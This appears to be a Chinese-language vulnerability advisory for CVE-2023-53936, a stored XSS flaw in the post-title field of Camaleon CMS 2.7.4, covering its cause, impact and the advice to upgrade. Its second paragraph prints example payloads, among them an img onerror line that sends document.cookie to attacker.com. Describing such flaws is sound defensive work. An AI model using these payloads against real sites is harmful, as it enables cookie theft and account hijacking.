CVE-2023-53936CVE-2023-53936是Cameleon CMS(也称为Camaleon CMS)2.7.4版本中的一个高危安全漏洞,属于持久型跨站脚本攻击(Stored XSS)。该漏洞允许经过身份验证的管理员用户在创建帖子时,向帖子标题中注入恶意脚本代码。由于该脚本会被永久存储在服务器端,所有访问该帖子的用户都会触发恶意代码执行。攻击者利用SVG标签或JavaScript事件处理器,在受害者鼠标悬停在帖子标题上时自动执行恶意代码。这可能导致会话Cookie被窃取、用户凭据泄露、甚至在受害者浏览器中执行任意JavaScript代码。由于该漏洞影响的是管理员账户,且存储型XSS会自动传播给所有访问者,因此具有较高的安全风险。建议受影响的用户尽快升级到最新版本或应用官方提供的安全补丁。
Cameleon CMS 2.7.4版本在处理帖子标题输入时存在存储型XSS漏洞。漏洞的根本原因在于应用程序未能对用户输入进行充分的HTML转义和验证。当管理员用户创建新帖子时,系统直接将用户输入的标题内容存储到数据库中,并在后续页面中未经转义直接输出。攻击者可以利用这一漏洞,在帖子标题中嵌入SVG标签或包含JavaScript代码的事件处理器(如onmouseover、onerror等)。具体来说,攻击者可以构造如下payload:<svg onload=alert(document.cookie)>或<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>。当其他用户访问包含该恶意标题的页面并将鼠标悬停在该标题上时,恶意脚本会自动执行。由于攻击代码存储在服务器端,这种攻击具有持久性,所有访问该页面的用户都会受到影响。攻击者可以利用窃取的会话Cookie劫持用户账户,进一步进行横向移动或获取更高权限。